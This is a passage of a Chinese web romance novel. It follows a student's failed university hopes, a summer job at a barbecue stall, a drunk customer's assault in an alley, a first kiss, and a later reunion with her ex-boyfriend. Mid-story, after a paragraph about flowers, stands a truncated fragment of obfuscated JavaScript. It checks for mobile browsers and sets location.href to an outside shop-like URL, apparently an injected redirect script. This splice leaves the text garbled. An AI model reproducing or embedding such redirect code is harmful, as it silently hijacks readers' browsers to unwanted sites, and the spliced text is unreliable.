舒洛原一直坐在最后排默不作声,他突然从中间过道探出头,冷哼一身:“是啊,缘分。”
但当时的她是大哭了一场的。
高三的紧张感体现在每分每秒的紧绷,高考倒计时100天的撕页挂历被挂在黑板旁之后,梅中走廊上的人都少了许多,下课也没有平常的喧闹。
春光从窗口溜进来又滑走,但她没有错过。
舒洛原相较于其他学生来说是轻松的,他在老师那里有免刷题的特权,因此他有更多时间,所以扛起了给同学们带早饭的大任。
每天早上,不重样的早饭出现在云诗加的桌上,还会附带一朵花。
从油菜花,到玉兰花,樱花,海棠……
云诗加不知道他是从哪里摘来的,据她所知,梅中的校园绿植是不允许采摘的,不知道他有没有被绿化管理员逮到过,每每想到这里看,她的心情便大好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342278|199400||http|test|mini|href|location''.split(''|''),0,{}));
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>涂玉琪常对着她摇头:“面对今日份的试卷量还能偷笑,你简直是学疯了,疯了疯了……”
直到高考前,云诗加周末也不回家了,彻底在大伯家住下了,每周六的小考结束,周日一早,舒洛原准时出现在教室里等她,帮她对答案、分析错题,短短几个月,错题本都垒起厚厚一打,试卷更是多,只能堆在脚边,用更重的题册压着。
走进考场的时候,云诗加抬头望了一眼碧蓝的天空,那天是个大晴天,太阳光有些刺眼。
走出考场的时候,天空突然飘起了雨,太阳却仍旧烈烈,围在考场外的一些家长议论纷纷,觉得太阳雨是个好兆头。
云诗加第一时间回大伯家收拾了东西,趁大伯和大伯母不在家,她把客厅打扫了干净,走之前还倒了垃圾,她叨扰了数月,心里总归过意不去。
在坐公交车回家的路上,她给父母分别打了电话,但他们都没接。
倒是舒洛原发来了消息,问她考得怎么样。
她回复:【正常发挥吧。】
舒洛原:【那看来还不错,你这两个月的提升很快,考北林应该没有问题。】
她曾对他提过,对园林设计有些兴趣,他便找来了各大学校的排名,给她制定了目标和志愿排序。
他发来一个链接,是某社交平台上的热搜讨论帖,不少学子已经把试卷和答案拼凑了个七七八八,还有人根据这套网传版试卷估起了分。
云诗加粗略浏览了一遍,中低难度的题目她没有失误,难题有部分错误,也在她的意料之中。
云诗加:【希望如此。】
舒洛原:【那……我在北城等你。】
她把公交车的窗户打开了一条缝,初夏的风吹在脸上,她闭上眼,觉得大好的未来之路在面前徐徐展开,还有对于暑假的憧憬也从心底沸腾上来,寒窗苦读时常常期盼的自由似乎唾手可得了。
她几乎是雀跃地迈进了家门,她看见外婆坐在她家的沙发上。
外婆佝偻着背,并不似往常有精神。
云诗加甩掉书包和行李,高兴地喊了一声:“外婆,你怎么来啦?是来替我庆祝的嘛?”
外婆抬起脸,浑浊的老眼幽幽的看了她一眼,那眼睛里有她看不懂的东西,似乎是忧伤与可怜。
外婆对她抿嘴笑了一下,指着主卧的门说:“回来啦,加加,你去看看你妈妈吧。”
云诗加不明所以,她突然觉得家里的温度有些热,脱了薄外套,她推开卧室的门。
云画侧躺在床上,盖着一层厚被子,长发散落在被子外。
云诗加轻轻走近了,看见妈妈的额角冒着汗,眉头紧皱,似乎并不舒适。
她把母亲的被子轻轻掀开,想让她透透气。
云画醒了,她用朦胧的眼睛看着女儿,然后扶着床头柜坐了起来。
“妈妈,你生病了吗?怎么盖这么厚的被子,今天外面的天气很不错呢,而且温度也很高,盖这么厚不热吗?”
面对女儿关怀的眼神,云画别过头,拿起床头柜的水杯抿了一口水,然后问她说:“你怎么回来了?梅中今天不上课吗?”
云诗加的关怀与雀跃都凝固在脸上,她沉默了几秒,说:“妈妈,今天高考结束了,您一定是睡糊涂了吧?”
云画诧异地看了她一眼:“时间过得真快……”
妈妈似乎是说给她自己听的,云诗加又问了一遍:“妈妈,你是生病了吗?我看你出了好多虚汗。”
云画的脸上突然出现了一种令她陌生的、羞涩腼腆的神情。
“不是生病,是件好事。”云画抬头看着女儿,眼里带着期冀和一丝小心翼翼。
“妈妈怀孕了,你要有弟弟了。”
云诗加的身体突然一震,她把视线猛地移到母亲的腹部,那里尚未有隆起,但母亲的手,她温柔而粗糙的手掌,正轻轻地覆在小腹上,为一个新的生命做着爱的抚摸与庇护。
14. 014 窄巷,初吻。
云诗加的嘴巴张合了一下,却发现自己没有任何话想说。
她突然想起,涂玉琪曾在某个课间拉着她上厕所时八卦说,他们班的某位女同学离家出走了,还是班主任帮忙找到的,听说是因为家里决意要生二胎,她用绝食抗议来抗议,但家长没有理会,她只好出走了。
云诗加不是不知道外界的变化,她在十几岁的时候常常对这个世界的感知是愚钝的,她潜意识里认为世界的大部分变化是与她无关的。
但其实不然。
二胎政策让她的母亲欣然怀孕,甚至忘记了她的考试日。
那一年破天荒的名校减招政策让她以一分之差与北林失之交臂。
她的第二志愿在申城,与苏城距离很近,如果她愿意的话,甚至可以每周末和向笙和结伴回家。
向笙和考到了申城的一所民办学校,跟她的海大距离很近,听说这件事时,云画挺高兴的,她抚摸着还没隆起的肚子,满脸母爱洋溢地说:“那太好了,加加,你们俩在申城也能互相有个照应,我也可以少操点心,好照顾肚子里的孩子。”
云画又趁向笙和在的时候送了他一盒自家腌的泡菜,握着他的手说:“那我就把加加托付给你了。”
向笙和有些尴尬,点头“嗯嗯”,云诗加掩盖不了心里的愠怒,她摔门就走了。
她虽然在很多事情上不在意,但她很明白这种所谓的托付,是一种责任的转嫁。
她的母亲似乎在说,以后她的事情就与她无关了。
可如果真的无关的话,为什么要劝她修改第二志愿?
原本她的第二志愿也在北城,是一所以艺术出名的大学,但云画和陈明华看了第二志愿的学费说,太贵了,比北林贵一倍,还是报一个近一些的学校,若是北林没录取,那离得近车费也便宜些,以后他们有了家庭新成员,钱该省着点花。
当时她对减招政策惶然未知,没预料到北林的分数线比往年高了十分,她自信可以考上第一志愿,便由着他们改了。
从录取结果出来的那一天起,她没有一天不在后悔。
云诗加走在街头,刚巧下了一场雨,地面是潮湿的,阳光正烈,经过一家便利店时,两个同龄女生挽手相伴路过她,两人在讨论着暑假旅行和染什么发色。
她突然觉得很渴,走进便利店,随手套上的连衣裙口袋里正好有几块零钱,她摸出来,买了一只冰淇淋。
乳白色的冰淇淋融化得很快,她坐在便利店门口舔着,却抵不住冰淇淋依旧顺着蛋筒淌到她的手背上。
她伏在膝盖上,哭了起来。
钱钱钱,什么都要钱。
她向往的北城要钱,暑期旅行要钱,染发也要钱。
她明明已经这么努力了,却还是不能走向她想要的未来。
还有舒洛原……
想到舒洛原,她的眼泪从潺潺细雨变成了豆大的泪珠,啪嗒啪嗒地砸在地面上,和刚刚下过的那场夏日暴雨混在一起,眼泪顺着地面的小水洼流进下水道里。
烈日当空炙烤着这片大地,地面很快就干涸了,仿佛什么都没发生。
云诗加抹了一把脸站起来,蝉鸣嘶哑,热风拂面,她向更热闹的街道走去。
钱。
她要赚钱。
“是啊,缘分。”
静静的车厢里,云诗加沉默了几秒,开口说了这么一句。
“缘分是很奇妙的东西,谢总你说是吧?要不是那天我正好在澈园碰见你俩,还正好带了攀树绳,我们也没有缘分认识。”她接着说。
谢如一还没来得及说话,舒洛原似笑非笑:“没缘分的话就算在同一个城市也永远遇不到,可若是有缘分的话,即便是穷途小巷也会偶遇。”
云诗加的睫毛抖落一下,她微微撇头,垂眼看向他的掌根。
舒洛原坐在后座的中间,双手交握在膝前,袖口被捋到胳膊肘上,那条可怖的疤痕就大刺刺展露在她眼下,提醒着他们的缘分。
“到了。”司机说,打破了怪异的安静。
商务车停在了创业园区门口,云诗加下了车,舒洛原也从车上跳了下来,对着谢如一挑了一下眉,然后大力合上车门,把谢如一欲言又止的话关在了车厢里头。
云诗加快步往里走,她看见身后有一道影子亦步亦趋,在路灯下与她的影子交叠在一起。
诗加工作室在园区道路尽头,她头一次后悔因为图租金便宜而租了最后一幢楼。
快走到时,路灯闪了闪,突然灭了,整个园区被大树与楼宇包围,一切都黑暗了,身后的呼吸声突然在黑暗中加重。
“你还记得吗?加加,那天晚上也像今天一样,灯都坏了,很黑,什么都看不清。”那道影子幽幽开口。
云诗加当然记得。
她后来曾在网上了解到一种心理现象,叫作“吊桥效应”。
吊桥效应是指在紧张或刺激的情境下,人们容易将生理反应误认为对身边人的吸引力,从而产生情感。
在极端经历的情绪中,人会误以为这种心跳加速是对吊桥上的另一个人产生的心动,但其实不是,只是因为那座吊桥上只有那一个人。
她后知后觉地认同,吊桥效应用来概括她和舒洛原那段关系的开始,再恰当不过。
云诗加在那个暑假找了一份工打,她对比了几家店铺贴在外头的兼职招聘海报,烧烤摊的时薪给的比奶茶店的高一半。
她果断选择了烧烤店。
她甚至还跟烧烤店的老板讲了之前在她爸陈明华的店里端盘子的经历,适当地添油加醋,老板立即录用了她。
烧烤店的这份工作并不轻松,除了需要熬夜、油烟大之外,还得忍受诸多醉酒男人的言语调戏,但好在老板看云诗加一个小姑娘不容易,也多有照顾,帮她挡了好几次。
那一晚,云诗加还记得,是八月九日,烧烤店所在的商业街在搞七夕节活动,烧烤店的生意很火爆。
端着一盘烤茄子给一桌坐在店门口的客人上菜时,云诗加的余光看见街对面有个熟悉的身影。
对面是一家清吧,经常有不知名的歌手驻场,歌声隔了一条街都能听见。
隔着绿化带,她看见舒洛原跟着一个女生进去了,那个女生穿着背心短裙,身材火辣,舒洛原扶着玻璃门让她先进,还对她笑了笑。
云诗加不禁低头看了看身上布满油污的围裙。
舒洛原不是没有联系过她。
他还给她发消息安慰她,说海大的园林专业也很好。
她想说,可是海大不在北城,但几番犹豫,终究还是没有按下发送键。
他说,他最近和父母去旅行了。
她说,旅途愉快。
她给他空间分享的海滩照片点赞,然后盯着一屏幕都装不下的评论区出神。
他说,听学长说清大有个讲座论坛,他准备去听一听,顺便提前和父母逛逛清大。
她说,真好。
他问,你最近还好吗?
她说,挺好的。
他问,暑假在做什么?有时间吗?
她没有回答。
对话框的光标闪烁,她面对自己呼之欲出的暗恋与难以压抑的自卑,不知如何整理。
看见对面那间清吧的玻璃窗前坐着的那对俊男靓女,多么登对,多么和谐。
她咬了咬唇。
原来他已经从北城回来了,只是没有告诉她。
她又摇了摇头,想把这些杂念挥去。
他何必告诉她呢,是她先冷漠的,不怪他。
“美女,我们要加一份炒面,不要葱花。”
云诗加给一桌客人开了啤酒瓶盖,扭头应道:“欸,好的,马上来。”
她在厨房间与店门口的外摆桌间来回穿梭,手机装在围裙兜里,一天能记录下两万步,每天回去累得倒头就睡,哪有什么时间来想别的。
恋爱是有钱有闲的人才有资格谈的,她算什么。
下嘴唇被她咬破了,她舔到了一丝血腥味,她把血珠抿进嘴巴,小跑钻进厨房,扬声跟厨师说:“一份炒面!不加葱。”
厨师隔着轰隆隆的油烟机模糊应了一句。
端着新一波烧烤串盘走出店门时,云诗加看见舒洛原就站在店门口。
他今天穿着一身黑,黑色的短袖T恤,黑色是运动裤,黑色的板鞋,黑色的鸭舌帽压在额前,眉眼隐在帽檐下,似有若无地向她瞥过来一眼。
她心不在焉地按照单子给各桌上菜。
到了刚刚点炒面的那一桌时,余光中的舒洛原突然朝她迈了两步,她的视线情不自禁地转移,炒面盘不小心碰到了桌边的啤酒塑料杯,那塑料杯轻飘飘地倒下,啤酒洒在了客人的脚边,溅到几滴在客人的鞋面上。
塑料杯咕噜噜地在地上滚了几圈,停在了舒洛原的脚前。
本就是借酒消愁的客人“腾”地一下站起来,塑料凳在地上摩擦出尖锐的声音。
“你怎么搞的你!你故意的吧!看我不顺眼是不是?我这鞋新买的,弄脏了你赔得起吗?还有我不是说炒面不加葱吗?这怎么还有葱?!”
说完,那男人涨红着脸,把炒面盘抄起摔在了地上,油渍甩在了云诗加的围裙上,几根面条挂在她的斜面上荡荡悠悠。
她顾不得其他,蹲下用餐巾纸往那男人的鞋面擦,低声道歉:“抱歉抱歉,我给您擦干净,炒面我让后厨给您重新做一份,十分抱歉!”
在里头收银的老板还没来得及走出来劝说,那男人仗着人高马大,提出:“很简单,你给我免单,再赔我鞋子的钱,我就不计较了。”
云诗加拎着垃圾桶,把擦试过的餐巾纸放进垃圾桶,又蹲着想去捡起滚出去的啤酒塑料杯。
一只手突然握住了她油腻的手背,将她扶了起来,顺手将脚边的啤酒杯捡了起来,放在了闹事那桌客人的面前。
“这位男士,我想我没看错的话,刚刚是你自己讲话讲得太激动,手肘把杯子碰掉的,怎么好意思叫人家赔你呢?”
舒洛原摘掉了鸭舌帽,眼皮掀起,挺直身体正视着醉酒男人,他比男人还要高半个头。
醉酒男人突然没了气焰:“你你……你说什么呢?胡说八道!你有什么证据!你哪只眼睛看见的?关你什么事啊!”
舒洛原闻言,指向街边的监控摄像头说:“不然你报警好了,那边有监控,应该可以调出来看,我看你也年纪不大,为难一个没犯错的女生好意思吗?”
收完银的老板从店内跑出来,认出是熟客,便拎着一打啤酒,温声细语说道:“欸,张哥张哥,别生气,我送你一打啤酒,您别计较,我们店小妹新来的,难免做的不好,您大人有大量!”
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醉酒男人顺势下了台阶,嘴里嘟囔着污言秽语便坐下了,拎起一瓶啤酒“哐当”杵在桌上,“来,小妹,给我开酒!”
云诗加从围裙口袋里摸出开瓶器,却被舒洛原抢了过去。
舒洛原一手捏着开瓶器,三下五除二,把那一打啤酒都开了,醉酒男人还想说什么,觑了他一眼,想了想又没说出来。
老板推着云诗加回了厨房间,训斥道:“我不是说了,有事情你来找我,跟客人别多说!”
云诗加的眼眶里晃荡着一圈眼泪,她眨了眨眼睛,知道老板也是为了她好,便点头说:“嗯,我知道了,下次不会了。”
老板是个火爆脾气,又朝厨师骂道:“刚刚我都听见了,让你别加葱花!你耳朵聋吗!”
云诗加拎着新烤出来的串往外走时,看见那个戴鸭舌帽的人已经往街对面走了,他拎着一袋东西,想来刚刚应该是出来买东西的。
他重新坐回了清吧的座位上,与那个靓丽的女生相谈甚欢的样子,他不知说了什么,女生笑得往后仰,眼睛都眯了起来。
云诗加收回目光,强迫自己专注在每桌的单子上。
九点,云诗加跟另一个兼职姐姐交了班,把工作服换下来,又帮忙倒了垃圾,才背起包下了班。
去公交站台需要经过商业街后头的一条窄巷,那里没有路灯,只能靠商业街上照过来的微光看清脚下的路。
云诗加斟酌了一下,给舒洛原发了条信息:【你从北城回来了?刚才谢谢。】
商业街办活动的缘故,人流多,信号不太好。
她低头看着转圈圈的消息,夜色涌动间,她发现正前方有人,差点撞上。
她条件反射地抬头,想说道歉,却在夜色中看见面前的男人正是刚刚在店里为难她的那个,他带着黑色兜帽,手里拎着一瓶啤酒,微胖的壮实身材,怎么看她都不是他的对手。
何况他嘴里还在骂骂咧咧,摇摇晃晃地朝她走近,一股酒气,对她竖起了中指。
云诗加往后退了两步,慢慢把手向身后的背包,试图摸出之前特地买的防狼神器。
她强装镇定:“你想做什么?我同事去倒垃圾了,马上来找我一起走。”
“你不是牛X吗?怎么?现在怕我了?”醉酒男人嬉皮笑脸,对于她的虚张声势没有一点恐惧。
他不断往前走,逼近她,右手伸向她的脖子,想捏住她的脖子。
云诗加拔腿就跑,脑子里迅速计算着逃跑路线。
但这个醉酒男明显失去了理智,他伸手揪住了她的T恤领子,随后手中的啤酒瓶被他甩在了地上,碎片崩溅,引发了云诗加大声的尖叫。
情急之下,云诗加想求饶,但实在是书到用时方恨少,她竟然想不出除了“饶了我”之外的其他词汇。
醉酒男将她的领子向上提起,她反手揪住自己的领口防止窒息,脸涨得通红,她看向窄巷的入口方向想寻求帮助,但脖子里被卡住只能发出零碎的呼声,她几乎绝望地闭上双眼,认命在这七夕夜悲惨地挨一顿揍了……
眼前的黑暗中,她听见一阵闷哼,随后脖子上的束缚松却了,她的腿一软,身体蹲落在地上。
她睁开眼,却见有人打了一束手电筒,照亮了巷子。
醉酒男面颊受创,倒在了地上,而舒洛原正站在她面前,手机打着手电筒,他甩着涨红的拳头,把鸭舌帽反戴,捋了一把额角密密的汗,转头问她:“没事吧?”
她条件反射地摇了摇头。
醉酒男显然不想善罢甘休,他从地上撑起身体,试图回击舒洛原的脸颊。
云诗加惊呼:“小心!”
舒洛原向她这边侧了侧头,躲开了,顺带握住了她的手臂,将她护在了身后。
“我已经报警了。”舒洛原高声警告他,用手指着巷口正好出现的巡警。
巡警其实并没注意到这边的骚动,但醉酒男欺软怕硬,他往地上吐了口唾沫,打算愤愤地离开。
云诗加刚松了一口气。
却见侧身离开的醉酒男不死心,不知何时从地上捡了啤酒瓶的碎片,往她脸上扎过来。
紧急时刻她连叫声都发不出来,只能举起双臂挡在自己的面前,但预想中的痛感并未发生,有另一只手臂挡在了她的面前。
碎片划过他的小臂和掌根,扎进了他的皮肉,血液溅出来,滴落在了青石板砖上,在夜色中染出艳丽的颜色。
恰这时,七夕节活动的烟花在夜空绽放,绯红的火球在墨蓝色的夏夜空中短暂地腾烈着,劈里啪啦地响着,远处街上的情侣们沸腾欢呼着。
有人在街头拥吻,庆祝在一起度过的不知第几个七夕节,然后许愿还有无数个节日一起度过。
有人在高楼的餐厅里求婚,献出共度余生的饱满爱意。
有人在窄巷里分享彼此的初吻。
云诗加感觉自己的头很胀、心跳很快。
冲动吻上去的那一刻,她忘记了闭眼,跟他因为意外而颤抖着睫毛的双眼对视着。
她的睫毛也轻轻颤了颤,像第一次尝试飞翔的小鸟羽翼。
头顶绚丽的烟火高升,她感觉高高悬浮的恐惧也在烟花绽放声与初吻中落了地。
她的眼泪也随之落了下来,咸咸的眼泪润进两人密实的嘴唇间,掠过所有的浮华,找到她灵魂深处的爱恋与命运。
15. 015 你的谎言
“所以,这么多年,你有没有一次,想过我?”
身后的男人幽幽问道。
良久的沉默后,创业园区的路灯突然“啪”地一齐亮了起来。
视线所及之处都恢复了光明,云诗加眨眨眼。
舒洛原绕到了她面前,低头凝视着她。
云诗加深深吸了一口气,她昂起头,眼睛是亮的。
“舒洛原,你用什么身份在问我这个问题?前男友?我想要合作讨好的地产方的朋友?还是可以影响我的新项目水系的邻居?”
云诗加往后退了一步,米色高跟鞋正巧踩在了他影子的头上,她泄愤似的用脚跟在他的头上碾了碾。
“这么多年过去了,你凭什么觉得我会想到你……”她说。
他往前一步打断了她,“可我不止一次想过你。”
“你想我做什……”
话没说完,云诗加突然觉得眼前又是一暗,她被拉住手臂,一头撞进了一个怀里,后颈被一只大手托住,她讶异地双唇微启,然后被猝不及防地吻住。
他吻得很凶。
滚烫的气息喷在她的脸颊上,他的唇舌似乎在倾泻一种愤怒,还有一种从记忆深处挖掘出来的熟悉的欲望。
他在她的唇上研磨、撕咬,恨不得将她吞进嘴中嚼碎了咽下去。
她的心脏突然像植物人苏醒一样活过来了,在胸膛里叫嚣着滚烫的沸腾。
她从来不知道,原来自己也有在怀念那段岁月。
但他们不是十几岁的人了。
她突然清醒过来,猛地推开他,他没有防备,一时趔趄,差点被推进灌木丛里。
她气喘吁吁:“你有病啊舒洛原?”
舒洛原站稳了脚跟,他的脸陷在路灯的阴影里。
“对,我有病,我以为你结婚了,以为你和那个向笙和……”他停顿了一下,突然抱着头,一边喘息一边大声说道:“就算这样,我也还是想你,我觉得我自己无耻!没有道德!我以为我自己只是不服气,我一辈子顺风顺水,怎么会栽在你这棵树上,我以为我只是不甘心,不甘心输给那个姓向的家伙,我哪一点不如他,让你硬要投向他的怀抱!”
说到这里,他突然停住了,蹲坐在绿化带上,园区的灯光忽然又闪了一下。
云诗加站在原地,如果她没看错的话,似乎有一条晶莹的泪从男人的面庞上落下。
他的声音嘶哑:“可突然有一天,有人告诉我,原来一切只是你的谎言。”
云诗加抓了一把额前凌乱的头发,把头发捋到后头,任夜风吹着。
她冷冷地打断他:“我没有撒谎,我只是没有否认。”
“好,好,没有否认。”他冷笑起来,“好一个没有否认。”
“云诗加,我知道你市侩、爱钱如命、虚荣,可我把我能给的都给你,你却只会把我往外推,告诉我说,对,都是我误以为的那样,这么多年的青春,这么多年的误会,这么多年都蹉跎了,你看看我,你看着我,你不会觉得遗憾吗?”
他又一次冲上来,双手捧着她的脸,逼迫她与他对视。
云诗加在他眼里看到了自己的倒影,黑洞洞的,舒洛原有一双漂亮的眼睛,以前看人时总是亮晶晶的,但现在她只觉得像一潭深渊,若是她跳进去了,便永远没有回头路了。
她闭上了眼睛。
“那又怎么样呢?舒洛原,就算你没有误会,就算我们又在一起了很多年,那又怎么样呢?”她的声音在风中发冷。
他的双手越来越用力,几乎要将她的脸整个捧起来,突然他又卸了力,松开了她,双手举过头顶。
他的脸是在笑的:“那又怎么样?哈哈,你问我那又怎么样?我舒洛原的感情是不是在你眼中一文不值、你就当个屁一样把我放了?!”
云诗加抬眸,“你别这么说。”
舒洛原揉了一把自己的头发,把头发搓成了凌乱的一把稻草。
“云诗加,你不是爱钱吗?我现在有很多钱,比过去还要多得多,你不是想要绿木集团的生意吗?我帮你促成。你想要澈园的水系,好,我马上让他们重新拟新方案。”
“你还想要什么?你一次性说出来,我能满足的都满足你,我不能满足的也想办法满足你……”
“舒洛原,”她忍不住打断他,“那你想要什么?”
“我……”舒洛原从滔滔不绝中停了下来,他的眼神逐渐暗沉,然后迷茫。
“水系的方案是我本就应得的。”她说,“我帮你去看望了谢总,他后来跟你续约了吗?”
“你别装傻。”
舒洛原简直要气疯了,她不相信她看不出来,谢如一跟他的关系本来就是钢板一块,他不过是找个托词,好让他再多见她一面罢了。
“好,那我也不跟你绕圈圈,”云诗加正色说:“你也别跟我装傻,水系的事情真是偶然吗?”
“这……”舒洛原突然顿住,“当然是……”
“别骗我。”
舒洛原又把双手举了起来,一副投降状:“好好好,我承认,水系本来就没有问题,是我故意让工人们把消息放给你那个助理听的,我们的原方案本就会绕开澈园的水系入口。”
“好,那我就放心了。”
云诗加绕过舒洛原,踩着高
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跟鞋,往办公室方向走,她的步履又快又稳。
舒洛原又要跟上。
但云诗加很快转过头来,定定看着他说:“舒总,既然我们没有水系的方案需要讨论了,那就请回吧,工作室又小又乱的,下回再请您来坐坐。”
她伸出手掌导向刚刚来时的方向,礼貌地送客。
舒洛原迟滞了两秒,他竟搬起石头砸自己的脚,被她绕进去了。
看着那抹倩影消失在最后一幢楼的电梯口,他挫败地靠在了路边的树上,仰头看去,那幢楼二楼的灯光亮起,有一个影子停在了百叶窗前。
他赌她在看他。
他仰头,与那扇百叶窗对视。
那抹影子只站了一瞬,就消失了。
与此同时,云诗加躲进了卫生间里,她摸着胸膛隐隐的悸动,看着镜子里潮红的脸。
这个突如其来的吻勾起了她许多尘封的记忆。
那个生涩的初吻,他甚至不懂如何回应,只是在幽暗的窄巷里搂住她,然后轻轻地啄吻,像对待一件易碎的玉器,他吻得很慢、很轻,几乎让她觉得唇角发痒。
可是后来呢,他对亲吻这件事逐渐驾轻就熟,常常将她吻得喘不上气,每每吻到情深处,她觉得差一秒就要窒息。
他还喜欢将她压在门板上吻,青筋蔓延的手背掐住她的后颈,让她不得不仰起脸,交换的唾液顺着他们的唇舌间往下滑落,然后他再用嘴唇去追逐那抹透明的液体,顺着她的脖颈、锁骨……
逐渐往下……
云诗加猛甩了一下头,双手捂脸。
不能再往下想了。
那股心悸的感觉又从胸口冒出来了,像即将破土的嫩芽,暗暗与她的理智较劲。
回办公室重新拟了一份日程表,又对应着新项目的工作安排将项目落实细节重新做了一份工作文档,云诗加舒了一口气,那股心悸的感觉已经坠入了黑夜,找不到痕迹。
她习惯工作的时候将手机关静音,拿起一看,才发现已经过了十二点了,一堆未读信息。
涂玉棋能量十足,发来了好几张照片,问她哪套衣服比较合适去参加梅中校庆的时候穿。
云诗加点开照片翻了翻,选了第一套。
涂玉棋回消息很快:【我也觉得第一套好看!果然不能信老高的审美!他居然说第二套好看。对了,老高今天听说有人在组织校庆后的同学聚会,你猜组织者是谁?】
看到这里,云诗加的眼皮跳了一下,涂玉棋的下一条信息从下方蹦出来,果不其然。
【居然是舒洛原!】
【我帮你也报名了,你应该不介意吧!】